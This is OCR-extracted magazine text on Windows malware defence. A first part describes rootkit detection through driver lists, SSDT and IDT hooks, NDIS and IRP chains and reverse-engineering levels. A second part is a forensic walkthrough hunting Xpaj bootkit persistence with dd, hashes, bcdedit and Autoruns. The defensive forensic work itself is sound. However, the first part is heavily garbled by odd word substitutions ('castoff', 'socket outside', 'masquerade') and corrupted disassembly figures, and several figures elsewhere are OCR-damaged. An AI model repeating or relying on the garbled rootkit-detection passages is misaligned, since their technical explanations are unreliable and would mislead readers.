UNLINKING THE DEVICE DRIVER

Unlinking the device driver from the PsLoadedModuleList in the Kernel can be identified in numerous
techniques. Using off-axis deep system level scanning, the entry in the PsLoadedModuleList can be po-
sitioned in memory even nonetheless it is not in the system list. Or the device driver itself can be posi-
tioned by deep system level scanning for PE/MZ (Magic First Byte) Microsoft Windows executable sig-
natures that are not associated to an existing system entry in the tilt. They can also be identified by deep
system level scanning the thread list and observing for Kernel Threads whose starting address does not
fall within whichever recognized device driver. This is symptomatic of either a device driver that has been
unloaded, or a device driver that has been masqueraded. Those two circumstances can be detached by
the low level profound analyzing the system memory footprint at the initial start address.

CIRCUMVENTING ENCLOSURE INTO THE SERVICE CONTROL MANAGER

Certain Rootkits masquerade by loading the device driver using SystemLoadAndCalllmage with NtSet-
SystemlInformation, then that the device driver is not fetched into the Microsoft Windows SCM (Service
Control Manager). Device drivers loaded in this manner are still contemporary in the PsLoadedModule-
List and can be identified by iterating this system list. If the device driver has been detached from this
system list, it can be identified by consuming procedures termed in the preceding subsection.

CIRCUMVENTING THE SYSTEM LIST OF LOADED MODULS

Rootkits can be masqueraded by unlinking a system module or DLL from the system list of loaded mod-
ules in a user-mode system process or mapping it and hooked on system memory manually, then that it
is on no occasion place on the system list to instigate with. If a system module has simply been unlinked
from the user-mode process, a mirror-image of kernel-mode system list should still be existing that re-
directs the manifestation of this system module. If the system module was mapped and hooked on to
the system memory manually. Then again nevertheless, the system was on no occasion conscious that
it was loaded. This can be identified by profound system level scanning the memory map for enormous
memory blocks of space that are not associated with a listed system module or profound system level
scanning over the substances of memory observing for unlisted MZ/PE header signatures. If the system
module has destroyed its own PE header and altered its memory footprint to combine itself with another
module in the process, the module can be identified by equating every listed system modules with their
binary image on the disk, if there is a size incongruity then this form of infection can be discovered.

HOOKING APIS

Hooking the APlIs that are castoff to enumerate the system modules or system device drivers and steril-
izing their fallouts are castoff to masquerade themselves. Most of APIs have an ordinary function prolog
or epilog in virtually every case. Whichever unorthodoxy from this ordinary is the consequence of a hook
being sited on it. The Debug Registers can also be castoff to the system hook these functions, then it will
monitor them as well.

NDIS SCANNING

The NDIS (Network Driver Interface Specification) stack is a repeatedly target of malware for the rea-
son that it delivers precisely low level network access. This countenances malware to both realize ev-
ery network traffic transporting over the specified system (which frequent times comprises every net-
work traffic on the entire network) and generate its individual network traffic. The NDIS was intended
as an encrusted stacked system thus that applications could interface with network system devices in a
generic manner. The lowest system layer is exactly the device-specific and the top-most system layers
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acquire lower level to lower, hence as it move up. Someplace in this ‘system stack’, the malicious code
will attach itself thus that it can monitor the network traffic (interception) that passes among the sys-
tem layers and/or inject its own. To authenticate the integrity of the system stack, it will traverse every
layer and look for unauthorized or suspicious level of code. There should only be an inadequate set of
device drivers that perform in the NDIS stack and a device driver with whichever supplementary sus-
picious or malicious characteristics that is also hooked into this system stack would be a decent indi-
cator of malicious movement.

SSDT TABLE POINTER ANALYSIS

The SSDT also known as the KiSystemService table is fundamentally the adhesive that attaches User-
Mode APIs to Kernel-Mode APIs. When a User-Mode API call is driven, an interrupt is engendered, then
again afore that the system call is made a “Syscall Number” is positioned in a CPU register to be castoff
by the interrupt request (IRQ) handler to lookup which API in the Kernel is being invited. By manipulating
lower level the SSDT, the User-Mode APIs can be re-mapped to either supplementary Kernel-Mode APIs
or supplementary binary code entirely. This is a form of system hooking that is supplementary challeng-
ing to identify than an ordinary function system hook, for the reason that this form of system hook does
not alter the system function itself.

The supplementary issue with discovering SSDT system hooks is that Syscall Numbers modify persis-
tently among versions of Microsoft Windows and this creates it virtually awkward to perform a humble
checksum on the table as an entire. There is a technique to map every User-Mode API to the lower API
in Kernel-Mode that it is hypothetical to association to though. To fix this, it will parse the User-Mode seg-
ment of this system (NTDLL.DLL). The NTDLL encompasses the “Native Microsoft Windows API” which
comprises of splendid sophisticated and most significantly standard-format, system wrappers around the
Syscall Interrupt. By parsing every these system wrapper it can map APIs to obvious Syscall Numbers
and make certain that the SSDT is acting the paraphrase decorously. If it is not performing appropriately,
then it can be recognized that somewhat is hooking to the system itself.

IDT POINTER ANALYSIS AND INTEGRITY CHECK

Intel CPUs custom “Hardware Interrupts” to process and signal events. A system interrupt is one of the
most rudimentary apparatus of whichever operating system and control over the system interrupts is the
effective corresponding of over-all system control. When a system interrupt hooks the CPU looks up in
the IDT, the system address of that interrupt’'s request handler. The IDT can effortlessly be altered by
software as it be inherent in ordinary memory that can be altered from Kernel-Mode just like whichever
other. This is predominantly hazardous for the reason that the IDT is so authoritative. To authenticate the
integrity of IDT accesses they are not left with numerous options. The IDT is not system portion of the
Operating System and it has no system layer beneath it that can be castoff for determinations of cross-
referencing. About the IDT system entries is that they should certainly not point outside of the Microsoft
Windows Kernel stack, if they do socket outside of it then they are being hooked. Then again anybody
who recognizes this can attach their code or a system redirection to their code, then the inside of the
Kernel to form this modest genus of revealing awkward. To resolve this it requisite to authenticate the
integrity of the system Kernel, for the reason that if every IDT entries socket into the System Kernel and
the Kernel is secure then every IDT system entry must be legitimate or valid.

IRP CHAIN AUTHENTICATION

IRPs or I/O Request Packets are what device drivers custom to communicate with every supplementary
and with User-Mode processes. IRP chains hold every manner of sensitive information such as hooked
keystrokes, network and system data, and system binary files. Rootkits and defense contrivances will
frequently attach themselves into these chains hence that they can either monitor the intercepted net-
work traffic, inject their private network traffic or both. It is not challenging for to govern what is in the IRP
chain or who is able to check which |/O data packets, then again there is also no system profile for an
authentic device driver in most of the key IRP system stacks that can custom to heuristically authenticate
their integrity. Certain things that can check for IRP chain system entries that are not allied with a spe-
cific device driver and system call code that is just floating out in system memory by itself. This is symp-
tomatic of either a masqueraded device driver or a portion of raw code injected into the system Kernel.

In one or the other hand, it is virtually and definitely illegitimate. If a system entry in the chain is not

masqueraded, then it will be observable in our enumeration of the loaded device driver list. The only
residual option then is for a portion of code to be injected into the address space of alternative device
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driver, hence that it performs legitimate, even though it is not. To identify this class of code it will look for
inconsistencies among the device drivers’ itemized size in the memory resident device driver list and the
size it prerogatives to have on the disk drive. If there is an incongruity, it can be identified the raw code
segment of the device driver has been extended to permit the code injection. Nevertheless, it is conceiv-
able that there would be enormous adequate nulled raw mode code cave spaces within an authentic de-
vice driver that a function or system stub could be injected without altering the size of the code segment.
In this scenario, it can compare the raw mode code image on the system disk with the code binary image
in memory. Once more if there is a disparity here, the aforesaid injection has engaged in place.

SYSTEM CALL FUNCTION INTEGRITY CHECKS

It is a non-trivial issue when emerging with software that vicissitudes versions regularly or device drivers
for numerous diverse sections of hardware from correspondingly numerous diverse merchandise ven-
dors. By defining what is authentic and what is not is precisely challenging, even when done manually.
The simplest process of discovering the patches to system functions is to equate the binary image on the
system disk with the binary image in memory. If they do not counterpart, somebody has tampered with
somewhat. Then again what if somebody patches the binary image on system disk the similar manner
that they have patched the binary image in the system memory or worse yet, hence patched the binary
image on system disk permanently is the prime interrogation. To covenant with this issue is awkward in
the general circumstance, then again it can be dispensed with in most circumstances for the reason that
the code injectors/modernizers have a tendency to monitor well acknowledged and analogous patterns.

The simplest manner of redirecting the code flow is to place a system hook in a specific function.
A system hook typically comprises of a system patch over the initial few bytes of the target function
with a branch or jump into the hook function. Thus on every occasion the target is called, the function
acquires the control at the first place. These can be effortlessly discovered by deep low level system
scanning the initial 5 bytes of each system function for branch/jump Opcodes which will typically on
no occasion perform within the initial 5 bytes of whichever system function except it has been hooked.
Alternative state of affair is a static system function pointer has been altered someplace in the bi-
nary images memory, subsequently that on every occasion it attempts to call that system function, it
calls somewhat else. Also it can identify this by confirming that every static system function pointers
socket inside of the Kernel, and not to outward zones of the code. A supplementary standard tactic to
this would be to custom to branch/jump tracing to deep low level scan for impulsive and unexpected
boundaries from a system function in the Kernel to a system function in an entirely diverse zone of the
system memory. There are certain occurrences in which this comportment is ordinary, nevertheless
they are inadequate and can be white-listed in the investigation of scriptlet set.

REVERSE CODE ENGINEERING

The reverse engineering is the practice of analyzing a focus system to generate exemplifications of the
system at a sophisticated level of intellection and it is a practice of investigation manner only. The mal-
ware analysis over the reverse code engineering process explain in this biosphere assists incident re-
sponders evaluate the severity, risk and repercussions of a state of affair that encompasses malware and
plan recovery steps. The malcode forensics investigators also absorb how to recognize key physiogno-
mies of malware exposed throughout the analysis, counting how to inaugurate pointers of compromise
for scoping and encompassing the incident. The knowledge, experience and skill obligatory to reverse
engineer (RE).

The software and malware reverse engineering can be split into four diverse levels:

LEVELI
Recovery of a particular string or symbol and responder delivers automatic analysis of imported binaries
and classifies suspicious strings or symbols.

LEVEL I

Single point reverse engineering of an API call, classifying system level arguments that are input to a
function call, Google or MSDN to recognize system function parameter practice and view disassembly to
recognize what components (Ex. CPU Registers etc...) are being castoff as system parameters.
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LEVEL lI

Reverse engineering of a set of system functions and branches/jumps, reverse engineering of an un-
known system function consuming disassembly or binary view, branches are conditional codes that are
executed if the conditions are true. The Single-Level-Jump/Branch Conditions (if), Two-Way Conditional
Jumps/Branches (if — else), Multiple Conditional Jumps/Branches (the programming compilers adds
alternate blocks comprising of one or additional logical checks) and Compound Conditional Jumps/
Branches (checks two or additional conditions to select if it should enter a conditional raw code block.

LEVEL IV

Algorithm rebuilding and programming skills which encompasses the utilizing RE Levels I/l and Il with
higher chunks of disassembly transversely manifold system functions to acquire a picture of how the
malware performs. It disassembling manifold system functions and data structures and designate how
those system functions interrelate with one another.
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Figure 3. Level | Reverse Code Engineering

00406C37 loc_00406C37:

0040&eC37 lea eax, [ehp-0x00000
00406C3D push eax
004 push 0Ox38
004 ush 0x00423D58
004 ush Ox00423B94 // Exception thrown in destructor
00406C4 lea eax, [ebp-0x00000218]
00406CS0 push Ox004z3B84 // %= (%=
00406C55 push eax
00406C56 call DxDU‘lDESFZl ’/ D]%DTFZ
1 2 3 4

Figure 4. Level Il Reverse Code Engineering



For a successful malware reversing process, the subsequent phases to be performed by the malcode
forensics expert:

Figure 5. Successful Malware Reverse Engineering Process
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HUNTING FOR MALWARE

TRACES IN AUTOSTART

LOCATIONS OF A BIOS-BASED WINDOWS 7 MACHINE
INTERCEPT MALWARE INFECTIONS BY LOOKING FOR

THEIR PERSISTENCE TRACES

by Lorenzo Cantoni

During a security incident you have found a machine which

communicates with a suspicious Internet host. After an initial
analysis you found a malicious DLL injected inside “svchost.exe”.
Malware Analysis shows that the DLL is a Trojan Horse and it is
responsible of the malicious network traffic. You remove the

n

DLL from the system and reboot it, but it magically reappears

Now what?

What you will learn:

« |dentify traces of infection in early

stages of the boot

* Inspect common autostart loca-

tions

« Identify DLL search order exploits

What you should know:

* An idea about how the windows

boot process works

* The Linux command line and The

Sleuthkit

» Acquire an image of a disk in of-

fline mode and mount its partitions
on a Linux host

and restarts to communicate with his Command & Control host.

malware analyst or an incident responder. Every malware infection

is characterized by the tentative of the malware’s author to hide his
activity inside the infected system from the user eyes, with the aim to maintain
its presence as long as possible. Concealment techniques may vary from the
trivial ones, such as naming the malware as a legit Windows executable, to
the most sophisticated such as installing a kernel rootkit that hides processes
and network connections. But, in order to achieve persistence, each malware
needs to be started automatically, either at the boot time or when some other
program gets started by the user or by the system. In this article we’ll explore
some forensics techniques that can be helpful while trying to identify mali-
cious executables that runs automatically.

BOOT PROCESS ON MODERN WINDOWS OS

For the purpose of this article I'll use a Windows 7 operating system with
NTFS file system and traditional BIOS. Probably, this is still the most popular
configuration of a user endpoint. The operating system has been installed in
a quite common way, inside the C:\ partition and without RAID or other par-
ticular hardware configuration (for my test, I've installed it in a VMware Virtual
Machine). With such configuration, it is useful to remember how the Windows
boot process works and which are the executables involved in this process.

® e

When dealing with malwares, concealment is a familiar word for a



In a traditional BIOS-based computer after the machine has been powered on, the BIOS transfers the
control to the first bootable device which, if it is a hard disk, corresponds to its MBR.

The MBR contains the partition table and the code that locates the bootable partition. This transfers the
control to the boot sector of that partition (Partition Boot Record or Volume Boot Record). The boot sector
contains the code that locates the boot manager (C:\bootmgr), which configuration is stored in a registry
hive (HKLM\BCDO00000000) inside C:\boot\BSD. The boot manager is responsible to switch the operat-
ing system from real mode to protected mode, and then executes the Windows boot loader (C:\Windows\
system32\winload.exe). The Windows loader loads the HKLM\SYSTEM registry hive, the kernel and the
startup drivers. Then the operating system initializes the Session Manager (C:\Windows\system32\smss.
exe) which is responsible of four tasks. The Session Manager executes first, the disk check utility (C:\
Windows\system32\autochk.exe) specified by the HKLM\SYSTEM\CurrrentControlSet\Contro/\Session
Manager\BootExecute key. Second, it starts the Windows Subsystem (essential for the GUI) by loading
in the kernel the relevant driver, usually C:\Windows\System32\win32k.sys, specified by the key HKLM\
SYSTEM\CurrentControlSet\Control\Session Manager\SubSystem\KMod.

The Session Manager also initializes the user-mode part of the windows subsystem (C:\Windows\sys-
tem32\crss.exe) usually defined by HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Sub-
System\Windows. As third task, it loads a number of user-space DLLs that basically implements the Win-

dows APIs, such as “kernel32”, “advapi32”, “user32” and so on. The path and the name of these libraries
are defined in HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SubSystem\KnownDLLs.

In the end, the Session Manager starts two instances of itself, each one representing a different ses-
sion: the session 0 launches wininit.exe that has the aim to handle machine-related tasks such as com-
puter policy settings, authentication (/sass.exe), services (services.exe). The session 1 launches winlog-
on.exe, which hosts more user-related tasks, such as the explorer.exe process and the login Ul.

ANALYSIS IN ECONOMY

In this article I'll perform analysis exclusively with open source or free programs, which requires some
effort but helps to understand how things work. I've set up a windows 7 x86 virtual machine, I've used a
forensic Linux distribution (DEFT Linux, http://www.deftlinux.net/) for imaging and I’'m working on a Linux
host machine with The Sleuthkit installed (http.//www.sleuthkit.org/). I've also a second Windows VM
available for analysis tools which run exclusively under Windows. The Figure 1 shows the partition lay-
out and the geometry of the virtual disk that | have acquired. There’s just one NTFS partition with some
unallocated space that the operating system creates by default.

lollo@tank:~/Documents/workdir$ fdisk -1 win7.clean.dd

Units =

Sector size (logical/physical):
I/0 size (minimum/optimal): 512 by
Disk identifier: 0x89820bd9

Blocks Id
18872320 Fi
.clean.dd

Device Boot Start
win7.clean.dd = 2048
lollo@tank:~/Documents/workdir$ mm
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

System

HPFS/NTFS/exFAT

Slot
Meta

lollo@tank:~/Documents/w

Start

QOQ0000000
QOQ0000000
0D0O00DD2048
0037746688

End

QOOO000000
0000002047
0037746687
0037748735

orkdirs ||

Figure 1. The partition layout of the target disk
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Length

0000000001
0000002048
0037744640
0000002048

Description
Primary Table (#0)
Unallocated
NTFS (0x07)
Unallocated
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INFECTED MBR

As the MBR is the first piece of the disk involved in the boot, it makes sense that is also the first place
where to look at. MBR infections where in vogue 15 years ago, but there are also recent cases of emerg-
ing bootkits (eg: Rovnix, TDSS, Sinowal, Xpaj). A common technique for MBR infections is to install a
hook for the int 13n interrupt. In real mode, this interrupt provides a set of subroutines served by the
BIOS for accessing the disk (http://en.wikipedia.org/wiki/INT _13H). As there isn’t enough space for the
hook code and the boot code, the malware needs to store some data in other parts of the disk (some-
times a copy of the original MBR), usually in the unallocated space. As the sector between the MBR and
the first partition are usually empty, it is possible to raise a warning if there are bytes different from oxoo.
I've infected my virtual machine with a copy of Xpaj (d5¢12fcfeebbe63f74026601cd7f39b2), provided by
Mila Parkour’s Contagio malware dump (http://contagiodump.blogspot.kr/2012/05/mbr-rootkit-xpaj-sam-
ple.html). I've then extracted the MBR from both the images and the first unallocated partition. Unfortu-
nately | didn’t find data inside the first unallocated space.

¢:~/Documents/workdir$ dd if=win7.clean.dd bs=512 count=1 of=mbr.clean

s (512 B) copled, 0.000146697 s, 3.5 MB/s
7.xpaj.infected bs=512 count=1 of=mbr.xpaj.infected

¢:~/Documents/workdir$ dd if=win

0.00014041 s, 3.6 MB/s
dir$ md5sum mbr.clean mbr.xpaj.infected
2 781 mbr.clean
Jq1d51d=ga_gfxbzgqa4b 82705f mbr.xpaj.infected

Figure 2. Hash comparison of the infcted and the clean MBRs

Figure 2 shows that the two MBRs have different hashes. The MBR has been modified but the unal-
located space between the MBR and the first partition has been untouched. By opening it with a hex
editor, it will show just null bytes. In Figure 3 | have acquired the unallocated space of both images and
calculated the corresponding MD5 hash, which is equal for both.
lollo@tank:~/Documents/workdir$ dd if=win7.clean.dd bs=512 count=2048 skip=1 | md5sum
20 0 rds in
2048+0 records out
1048576 bytes (1.0 MB) pied, 0.027298 s, 38.4 MB/s

5bd10bteBdaa =L
ank:~/Documents/w 'kdlrﬁ dd if=win7.xpaj.infected bs=512 count=2048 skip=1 | md5sum
2048+0 records in
2048+0 records out
31c005bd10bbe8daa7668dedcieb -
bytes (1.0 MB) pied, 0.0281 s, 37.3 MB/s
@tank:~/Documents/workdir$ I

Figure 3. Hash comparison of the unallocated spaces of the clean and the infected image at the beginning of the disk

However by looking at the partition layout, it can be seen that we have also a portion of unallocated
space at the end of the disk. As shown in Figure 4, the last part of the disk seems more interesting as
we have different hashes.

ollo@tank:~/Documents/workdir$ dd if=win7.clean.dd count=2048 skip=3
mnallocated.?.clean

2048+0 records in

2048+0 records out

1048576 b s (1.0 MB) copied, 0.0283
ollo@tank:~/Documents/workdir$ dd if=
7 of=unallocated.?.infected

37.0 MB/s
.xpaj.infected count=2048 skip=37746¢

676 s
win7

204840 records in

2048+0 records out

1048576 b s (1.0 MB) copied, 0.0378745 s, 27.7 MB/s
ollo@tank:~/Documents/workdir$ md5sum unallocated.2.clean unallocated.2.infecte

sbedlotcedcbeSecdi8dBol6bddde5280 unallocated.2.clean
Fhe5a4f83h0ehdqaSelc?cff3iffdshhada84d unallaocated 7 _infected

Figure 4. Hashes comparison of the unallocated spaces of the clean and of the infected image at the end of the disk
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I've produced a hex dump in the format of a text file, it is very easy with Linux (e.g.:
xxd unallocated.2.infected > unallocated.2.infected.hexdump). Then, I've opened the text files with
a text editor that allows comparing the content of 2 or more files (ne1d) and | have inspected the differ-
ences between the two (Figure 5). The bootkit wrote some code in that space (there are many bytes that
are different, not just the ones shown in Figure 5).

mtswaork llocated. Zclean, hexdump v || Browse. rhomeialio/Dacumentsiworkdirsunallecated. Zinfected hexdump * | Browse.. | [
oofosfo: 0000 0 0000 0000 0000 0000 0000 . ... 00fo5f0: 0000 0000 0000 0000 0000 0000 0000 0000 .
00f06E00: BOOD I 0000 0000 D i H 52

0000 0000 000
10

4348 000c 0000 Rdbi
oofoe10: 7
00f0620: 0
0Of06E30 1
oofoean:

00fopa0:

00f0650: D000 OO 00 fo650:
0of0E6N 0 a0ToaED;
oofoeio: @ oufoero;
00f0680: 00fos80:
0010690 0010650 o
oofoban: oofosan:
oofosho: oofosho:
00f0Bco: oofoeco:
00f06d0: oofosdo:
001 06ed 00106c0:
oofoefo: oofosfo:
o0fo700: oofoFon:
ooro710 aoftoFio:
ooforzo: oofoyao:
00f0730: oofo730:
oofo740 aofoTan:
woferan: oufoyan;
00f0760: oofoTED:
o0fo770 0 0 o010770:
oofo7g0: OO 0 0 0 O 1[40 SN ‘e oufoven: o6
00f0790: D000 0000 0000 0000 0000 0000 0000 0000 . ... tes oofoFon:

00f07a0: 0000 0000 OG00 0000 OOOO0 0000 0000 0000 ................ 00107a0: 0000 0000 0000 G000 0000 DOOO0 0000 0000 ................
00fo7b0: 00O0 D000 QOO0 QOO0 OO00 0000 QOO0 Q000 ...ccevessananans 0ufo7b0: 000D QOO0 QOUD UOOD D000 DOOD QOO0 ODO0 ..cevevvsnrasnas

Figure 5. The hexdumps of the clean and of the infected unallocated space in a text editor

With a closer look at the hex dump, it can also be noticed that the last block of the disk, contains a copy
of the original MBR. This can be confirmed by comparing the hashes of the last sector of the infected im-
age with the 1st sector of the clean image.

¢:~/Documents/workdir$ dd if=win7.xpaj.infected of=last.sector.infected
748734 bs=512 count=1
1+0 records in
1+0 records out
512 bytes (512 B) copied, 0.000131709 s, 3.9 MB/s
lollo@tank: ~/Documents/workdir$ dd if=win7.clean.dd of=mbr.clean bs=512 count=1

1+0 records in

1+0 records out

12 bytes (512 B) copied, 0.0190186 s, 26.9

nk:~/Documents/workdir$ mdSsum mbr.clean last.sector.infected
c9ac/781 mbr.clean
968f954bfe c781 last.sector.infected
lollo@tank:~/Documents/workdirs
Figure 6. Hash comparison of the MBR of the clean image and the last sector of the infected image

In conclusion, inspecting the unallocated space is a good starting point for identifying MBR infections.
As the content of this space is quite standard, anomalies can quickly be revealed by inspecting its content.

INFECTED VBR

The next piece of disk involved in the boot process is the Volume Boot Record (VBR) or Partition Boot
Record (PBR). It is nothing else than the boot sector. Infecting the VBR has similar problems as infect-
ing the MBR, because the VBR code is contained in a 512 byte block as for the MBR. This way, the
techniques described in the above section comes in handy. However by looking closely at the unallo-
cated space contained at the end of the disk of the clean image, it can be noticed that the first block of
the space contains a backup copy of the boot sector. The rest of the space is filled with zeroes. A bootkit
can infect the VBR but leave its backup untouched. A possible technique to identify an infected VBR is
to compare the one in use with its backup, but it is not the case of Xpad the VBR is untouched. In Figure
7, I've compared the boot sector, its backup and the boot sector of the clean image: they all have the
same hash.
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a :~/Documents/workdir$ dd if=win7.xpaj.infected skip=37746687 count=1 bs=512 | mdSsum
records in
records out
2 bytes (512 B) copied, 5.9798e-05 s, 8.6 MB/s
217bdb7a4fo76b84T 45778 -
:~/Documents/workdir$ dd if=win7.xpaj.infected skip=2048 count=1 bs=512 | md5sum
1+0 r rds in

1+0 records out

512 bytes (512 B) copied
abefc217bdb7a4f976b8412
nk:~/Documents /v rkdlt% dd if=win7.clean.dd skip=2048 count=1 bs=512 | md5sum
rds in
1+0 records out
3] s, 8.4 MB/s

Flgure 7 Hashes comparison of the boot sectors and its backup

AUDIT THE BOOT MANAGER
At this point of the boot process, the system locates the boot manager which is a file on the file system
and that has his configuration written inside the registry. Since Windows Vista the “bootmgr” file has re-
placed his ancestor, “ntldr’. The new bootmgr is a 32-bit PE executable which hosts a small 16-bit stub
program which operates in real mode and is responsible to switch the operating system to protected
mode. It is stored on the root folder (C: in our case), it is named “bootmgr’ without extension and it stores
its configuration in a registry hive (HKLM\BCD00000000) which resides in the C:\Boot\BCD file. It is pos-
sible to audit the configuration in an offline manner with the Windows native utilities. | have mounted the
partition of the acquired image of the Windows VM on my Linux machine. The command needs the off-
set of the system partition which is the number of blocks * the block size: 2048*512 = 1048576. On many
Linux distributions, the mount command recognizes the file system type automatically (alternatively it
can be specified as a mount option).

/Documents/workdir# mkdir /tmp/mountpoint

/Documents/workdir# mount -o offset=1048576,ro0,no c win7.xpaj.infec

mp/mountpoint/
ank:~/Documents/workdir# [

Figure 8. System partition mounting

Inside my Windows Analysis machine, I've mounted the /imp/mountpoint as a read-only folder, so | can browse
the file system image. I've also mapped the folder as a network drive so | will access it as “Z:\” (Figure 9).

Folder Sharing

Setting Summary

[ Genaral Windows_7_analysis Disabled

P rower

- #) Ahways enabled
I~

(& VMware Tools Time sync off

% VNC Connections  Disabled [/ Map as a network drive in Windows guasts
™ Unity
Autologin Not available Folders
. Shared Folder Properties - image-fs Name Host Path
Name ™|
Host Path
ftmp/mountpoint i Browse..
Attributes Add Q) Remove Properties
w! Enabled
U Shared folders expose your files to programs in the virtual
o/ Read-only maching. This may put your computer and your data ar risk
Only enable shared folders it you trust the virtual machine
(%] Cancel S DK with your dara
@ Hep &) cancel 7 Sawe

Figure 9. VMware shared folder configuration



Then, | have copied the “C:\Boot” directory from the “Z:\image-fs” shared folder on the Desktop of my
Windows Analysis machine. Through the bcdedit command it is possible to inspect the boot manager
configuration, without digging into the registry keys. This is possible through /store options which tells

to bededit which configuration to read (Figure 10).

Windows Boot Manager

resumeohject
displavorder
hootsequence
toolsdisplavorder
timeout

Bl Amministratore: C\Windows\System32\cmd.exe

{hootmgr>
partition=0C:
Windows Boot Managewr

it-IT

{globalsettings?
{default’>

{19d26bb5—-4ddb—11e3-%aal-bd2c5284f a28>
{19d26bb5—-4ddb—11e3-%aal-bd2c5284f a28>
{19d26bhh5-4ddb—11e3—%aal-hd2c5284f a28>
ggemdiag}

Ripresa da modalitid di iberna=zione

L= 5]l

C:=“UserslcantoniDesktop>hcdedit ~store C:vUsers™lcantonisDesktop Boot“BCD

{17d26hbh5—-4ddb-11e3—%aal-hd2c5284f 228>
partition=0C:
SWindowsssystend2hwinresune . exe
Windows Hesume Application

it—IT

{resume loadersettings?
partition=0C:
Shiberfil.sys

Yes

Figure 10. The “bcdedit” command

In order to get a complete view of the bootmgr without the need of command line kung-fu, there is also
a GUI-based third party tool (Figure 11): “Visual BCD Editor” (http://www.boyans.net/).

Visual BCD Editor - C:\Users\Icantoni\DesktopBoot\BCD
Object | Elemerts

Store  Mew Repair Help

= Bed Store
‘.. {bootmar}
- Loaders

‘e Windows Recowvery Environme
|- Hibemate resumers
: -Windows Resume Application
- Settings
‘.. [emssettings}

-{resumeloadersettings}
- {dbgsettings}
- {badmemory}
- {bootloadersettings)
i~ {globalsettings}

‘... {nypervisorsettings}
Device options
... Ramdisk COptions
i {memdiag}

RClick to Create new Boot Entries

Figure 11. Visual BCD Editor

===

Type Name Value
<11000001  ApplicationDevice “DeviceHarddisk Velume 1(C:)
12000002  ApplicationPath “Windows'system 32'winload exe
12000004 Description Windows 7
(12000005 Preferedlocale it-IT
14000006  InhertedObjects {Befb52bf-1766-4 1db-abb 3-Dee5eff 72bd 7}
14000008 RecoverySegquence {19d26bb7-4ddb-11e3-9aa 1-bd2ch284fa 20}
16000005  AutoRecoveryEnabled True
21000001  QSDevice “Device W Harddisk Valume 1(C:)
22000002  SystemRoot “Windows
(23000003 AssociatedResumeObject  {19d26bb5-4ddb-11e3-9aa1+d2c5284fa 20}
25000020  hxPolicy MxPolicyOptin

| Delete Edt || New Hint: DblClick to Ed Edit Boot-Menu

The “Loaders” section shows how many loader configurations are present. By default there is the
default Windows configuration and its recovery environment. In particular, it can be seen whichexe-
cutablethe boot manager launches. Normally this is the Windows Boot Loader, “winload.exe”, but
it can also be “winresume.exe” if the operating system is going to be restored after an hibernation
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(Hibernate Resumers section). When a computer gets infected in an early stage of the boot, some op-
erating system protections (e.g.: PatchGuard, Driver Code Signing, etc..) could have been subverted. In
presence of the feeling that one of the executable launched by the boot manager has been replaced or
backdoored, the Sysinternals sigcheck tool comes in handy (http://technet.microsoft.com/en-us/sysin-
ternals/bb897441.aspx). Since Windows Vista these executables are digitally signed and can be verified
from the Windows analysis machine, after they have been extracted from the infected image (Figure 12).

C:sUsersslcantoni*sigocheck winrezume .exe
Sigcheck vl .92 — File verszion and signature viewer
Copyright <G> 2A04-28013 Mark Russinovich

Syzinternals — wvww.zysinternals.com

C:sUsersslcantoniswinresume .exe :
Verified: Signed

Signing date: 4:32 PM 11-28-28018

Publizher: Microsoft Windows

Description: Resume From Hibernate hoot application
Product: Microsoftoa Windows« Operating System
Uersion: 6.1.76H81.17514

File version: 6.1.7601 17514 <{winVspl_rtm.181119-1858>

C:sUsers~lcantoni
Figure 12. Signature checking on a Windows system executable

COMMON AUTOSTART LOCATIONS

After having executed the boot manager, the boot process continues with the loading of the other
Windows components: Windows boot Loader, Kernel, Drivers, Session Manager. However, at this point
the analysis can proceed with a powerful tool for autostart locations auditing: Autoruns from Sysinternals
(http://technet.microsoft.com/it-it/sysinternals/bb963902.aspx). This tool is well known by system admin-
istrators when dealing with malware removal. As it can allow inspecting a number of autostart locations,
the likelihood that a malware is using one of these is quite high. Usually, autoruns is launched inside a
live system and infection traces are searched inside the various tabs that the tool shows.

However as the reader may guess, infections that starts in early stages of the boot renders such tool
useless. The presence of a kernel rootkit may subvert the results of some system calls, tricking into what
tools which run inside a live system to look for. In addition, some autostart programs can be linked to a
specific user account: each users has his HKCU registry hive, stored in the NTUSER.DAT file inside his
profile folder. When launching autoruns on a live system, the tool reads the HCKU hive just for the user
who has launched the utility and the system administrator must instruct autoruns to inspect each user
account by selecting the target user under the “User” tab. It is not uncommon that a malware uses some
user-related parts of the system to gain persistence inside it. There can be various reasons for that but
definitely one is that writing inside the user-profile requires less privileges.

Basically, if an OS non-admin user account executes malicious code in some way, the malware needs
to exploit some vulnerability in order to gain system-wide persistence. Depending on what the malware
does, it might be not necessary to have administrative right on the infected machine (or at least, not ini-
tially) and so, some autostart traces can remain inside the user profile. Luckily, autoruns can be run in
offline mode avoiding rootkit problems and can be used with more than one user profile also in this mo-
dality. The drawback is that autoruns needs to access the offline system with read/write privileges. | need
to preserve a copy of the original image and mount the “lab” copy in read-write mode. To do so | copied
the “win7.xpaj.infected” to “win7.xpaj.infected.lab” and mounted the new copy in a /tmp/mountpointrw
directory with the rw (read/write) option instead of ro (read only). I've then modified the VMware shared
folder configuration of the Windows Analysis machine by disabling the “Read Only” option. Inside the
analysis machine, after having launched autoruns, | have chosen “File” and then “Analyze Offline Sys-
tem” (Figure 13).
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1= Autoruns - Sysinternals: www.sysinternals.com I have selected the SyStem root which is
“Z:\image-fs\WINDOWS” and the user-pro-
file which | want to analyze “Z:\image-fs\

File Entry Options Help

2 A Users\icantoni”. In order to get a complete
7 Eventhing | 2% logon | H Bploer | @ Intemet Explorer . view of all the executables involved in the
&% Winlogon | &Y Winsock Providers boot process, | have also modified some op-

Autorun E nty

- . tions under “Options”, “Filter Options”. The
Offline System S5 most important one is “Verify Code Signa-
tures” which implements the same features
of the sigcheck tool. I've also chosen to un-
System Root: E] hide Microsoft entries (Figure 14).
[

Select the Windows directory of the offine system:

User Profile:

[ oK ][ Cancel ]

b

Figure 13. Autoruns offline system analysis

, After have clicked “Rescan”, each entry
Autﬂruns F”ter Dpﬂnns [ﬁ haS the WOFd “Vel'ified" |f the eXGCUtab|e con-
figured for auto-launch has a verified digital
a certificate (it takes a while). There are many
[¥] Indude empty locations third party applications that don’t sign their
executables with digital certificates, how-
ever, all recent Microsoft applications are

[ ] show only per-user locations

[¥] verify code signatures signed so this option can be used to verify
